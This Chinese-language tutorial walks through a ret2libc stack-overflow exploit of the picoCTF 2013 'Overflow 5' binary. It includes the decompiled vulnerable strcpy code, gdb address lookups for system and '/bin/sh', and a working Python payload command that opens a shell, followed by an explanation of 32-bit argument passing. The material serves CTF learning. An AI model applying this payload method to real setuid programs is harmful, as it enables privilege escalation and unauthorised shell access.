栈溢出入门系列入门教程五
本片是栈溢出入门系列教程第五篇文章.
overflow5.c
#include<stdio.h>
void vuln(char *str)
{
char v2;
strcpy(&v2, str);
}
int main(int argc, const char **argv, const char **envp)
{
int result; // eax@2
uid_t euid; // eax@3
if ( argc == 2 )
{
v4 = geteuid();
setresuid(euid,euid,euid);
vuln(argv[1]);
result = 0;
}
else
{
puts("Usage: buffer_overflow_shellcode [str]");
result = 1;
}
return result;
}
由于没有提供源码, 上面c代码是通过IDA pro转出来的, 并作了稍微的修改.
checksec
checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
本程序有NX防护, 不可以注入shellcode.
NX(DEP): https://en.wikipedia.org/wiki/NX_bit
简单的说就是将代码和数据分开, 是我们注入的shellcode无法执行.
思路: 我们使用ret2libc方法, 用程序本身的system函数和”/bin/sh”来获取shell.
- gdb调试overflow5, 查看进程的虚拟地址空间是如何使用的.
$gdb -q overflow5
开启另一个终端, 输入
ps -aux | grep overflow5
5156 0.8 0.3 89076 27156 pts/5 S+ 12:46 0:00 gdb -q overflow5
5179 0.0 0.0 15964 932 pts/18 S+ 12:46 0:00 grep --color=auto overflow5
记下PID 号, 这里为5156,
sudo cat /proc/5156/maps
下面是打印的部分:
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:16 1447617 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:16 1447617 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
可以看出overflow5的stack是rw-,可读可写不可执行. 但是重点我们看到了.so文件, 就是说overflow5调用了库函数. 而system函数和”/bin/sh”都在库中. 如果我们能让overflow5 调用.so 中的system()函数, 并将”/bin/sh”作为参数传入, 我们就能够获取一个shell.
2.在gdb中找出system和”/bin/sh”的地址.
gdb$ print system
$1 = {<text variable, no debug info>} 0xf7e39940 <system>
gdb$ p exit
$2 = {<text variable, no debug info>} 0xf7e2d7b0 <exit>
(gdb) find 0xf7e2d7b0,+9999999,"/bin/sh"
0xf7f57e8b
3.构造payload.通过调试找出buffer start和返回值地址之间的距离.
buffer start:0xffffca70
返回值地址: 0xffffce7c
相差:1036
于是乎构造出payload:
./overflow5 $(python -c "print 'A'*1036+'\x40\x99\xe3\xf7'+'\xb0\xd7\xe2\xf7'+'\x8b\x7e\xf5\xf7'")
$
获取shell.
疑问: 为什么要将exit函数加进去呢?
答: 这个地方必须得有一个4字节的地址, 可以是其他的地址, 为了方便退出才加的.
疑问: eip读取到system的值, 是如何将”/bin/sh”传进去的?
答: 这个就要用到函数之间的参数传递法则. 32位程序一般是通过将参数压栈, 然后通过ebp获得相应的参数.64位程序是通过寄存器传递参数的.对于system函数而言比较特别,咱们先看看它的汇编代码:
0xf7e39940 <+0>: sub esp,0xc
0xf7e39943 <+3>: mov eax,DWORD PTR [esp+0x10]
0xf7e39947 <+7>: call 0xf7f1c0dd
0xf7e3994c <+12>: add edx,0x1756b4
0xf7e39952 <+18>: test eax,eax
0xf7e39954 <+20>: je 0xf7e39960 <system+32>
0xf7e39956 <+22>: add esp,0xc
0xf7e39959 <+25>: jmp 0xf7e39430
0xf7e3995e <+30>: xchg ax,ax
0xf7e39960 <+32>: lea eax,[edx-0x5716d]
0xf7e39966 <+38>: call 0xf7e39430
0xf7e3996b <+43>: test eax,eax
0xf7e3996d <+45>: sete al
0xf7e39970 <+48>: add esp,0xc
0xf7e39973 <+51>: movzx eax,al
0xf7e39976 <+54>: ret
通过汇编代码可知, system是通过esp来获取相应的参数.
现在来分析system参数的传递过程.
下面是参数调用过程中esp的变化
下面格式是:
汇编代码
执行时的esp情况
ret
ESP: 0xffffcaac --> 0xf7e39940 (<system>:sub esp,0xc)
进入system函数:
sub esp,0xc
ESP: 0xffffcab0 --> 0xf7e2d7b0 (<exit>:call 0xf7f1c0d9)
ESP: 0xffffcaa4 ("AAAAAAAA@......")
mov eax,DWORD PTR [esp+0x10]
x/10x $esp+0x10
0xffffcab4: 0xf7f57e8b 0x00000300
0xffffcaac --> 0xf7e39940 (<system>: sub esp,0xc)
0xffffcab0 --> 0xf7e2d7b0 (<exit>: call 0xf7f1c0d9)
0xffffcab4 --> 0xf7f57e8b ("/bin/sh")
由此可见已将"/bin/sh"的地址传给了eax.
注: 我的环境是ubuntu 16.04 64bit. 不同操作系统, 对应的地址可能不一样, 在测试之前, 请先关闭系统的地址随机能力.文件下载地址:https://github.com/picoCTF/2013-Problems/tree/master/Overflow%205